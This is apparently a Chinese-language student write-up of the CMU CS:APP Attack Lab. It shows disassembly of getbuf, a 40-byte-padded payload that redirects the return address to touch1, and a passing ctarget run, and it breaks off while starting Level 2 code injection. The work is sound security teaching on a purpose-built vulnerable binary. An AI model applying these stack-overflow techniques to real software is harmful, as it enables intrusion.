CS:APP:Lab3-ATTACK 0. 环境要求
关于环境已经在lab1里配置过了。lab1的连接如下
实验的下载地址如下
说明文档如下
这是实验的分数和一些简介下面就开始我们的实验吧
1. Part I: Code Injection Attacks 1.1 Level 1对于第一个我们不需要注入新的代码。只需要重定向我们的程序就可
1 void test() 2 { 3 int val; 4 val = getbuf(); 5 printf("No exploit. Getbuf returned 0x%x\n", val); 6 }这是初试的test程序我们运行程序之后。输入字符串就会执行printf 这里注意我们运行要./ctarget -q因为我们没有办法连接到cmu的远程判定程序。下面是我们乱输的测试
[root@cadc591c8a87 attack]# ./ctarget -q Cookie: 0x59b997fa Type string:baba No exploit. Getbuf returned 0x1而本实验的要求是要我们改变上面的行为。当我们输入完字符串之后执行下面的touch1而不是上面的printf
1 void touch1() 2 { 3 vlevel = 1; /* Part of validation protocol */ 4 printf("Touch1!: You called touch1()\n"); 5 validate(1); 6 exit(0); 7 }本题就是利用一个基本的缓冲区溢出把getbuf的返回地址设置成touch1的地址。cmu的官网给了我们一些小建议
利用objdump -d ./ctarget>>ctarget.s得到汇编代码
思路是将touch1的开始地址,放在某个位置,以实现当ret指令被getbuf执行后会将控制权转移给touch1
一定要注意字节序
你可以使用gdb设置断点来进行调试。并且gcc会影响栈帧中buf存放的位置。需要注意
这里再附上gdb的常用操作命令
1.分析test汇编代码
0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff callq 4017a8 <getbuf> 401976: 89 c2 mov %eax,%edx 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 retq这里首先分配栈帧然后调用getbuf 随后把返回值赋给了edx ox403188赋给esi 可以相当这个应该是printf的字符check一下
(gdb) p (char*)0x403188 $1 = 0x403188 "No exploit. Getbuf returned 0x%x\n"发现果然是这样。
2. 分析一下getbuf
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq可以发现getbuf分配了大小为40字节的缓冲区然后把调用gets把读入的字符串放到缓冲区中。
可以发现我们只要把getbuf的返回地址设置成touch1的地址=0x4017c0就可。这里getbuf的缓冲区为40字节。我们可以前40个字节乱输。只需要后面的值为4017c0即可。我们构造一个txt文件用来输入touch1.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00这里注意一下次序。我们把这个输入之后getbuf的缓冲区会变成下图这样
来试试我们的这个输入吧./hex2raw < touch1.txt | ./ctarget -q
[root@cadc591c8a87 attack]# ./hex2raw < touch1.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch1!: You called touch1() Valid solution for level 1 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:1:00 66 11 22 66 66 66 66 66 66 66 66 22 66 33 66 33 66 66 66 00 66 11 66 44 22 11 22 66 66 66 33 66 66 55 66 66 66 66 66 C0 17 40 00 00 00 00 00 00 00 [root@cadc591c8a87 attack]# 1.2 Level2phase2需要我们注入一小段代码。来完成字符串漏洞攻击
touch2的代码如下
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }本题的任务就是要我们在getbuf之后直接ret到touch2里面而不是继续执行test大概任务和第一个一样。只不过方法不太一样。cmu的官方文档又给了我们一些建议
touch2的参数val是利用rdi寄存器进行传递的
你要利用某种方式让getbuf的返回地址为touch2的地址
你的注入代码的传入参数应该等于cookie的值。
不要在注入代码内调用ret或者call
请参见附录B中有关如何使用工具生成字节级表示形式的指令序列的讨论。
附录B就在说明文档的最下方。在附上一个说明文档的地址
1.分析touch2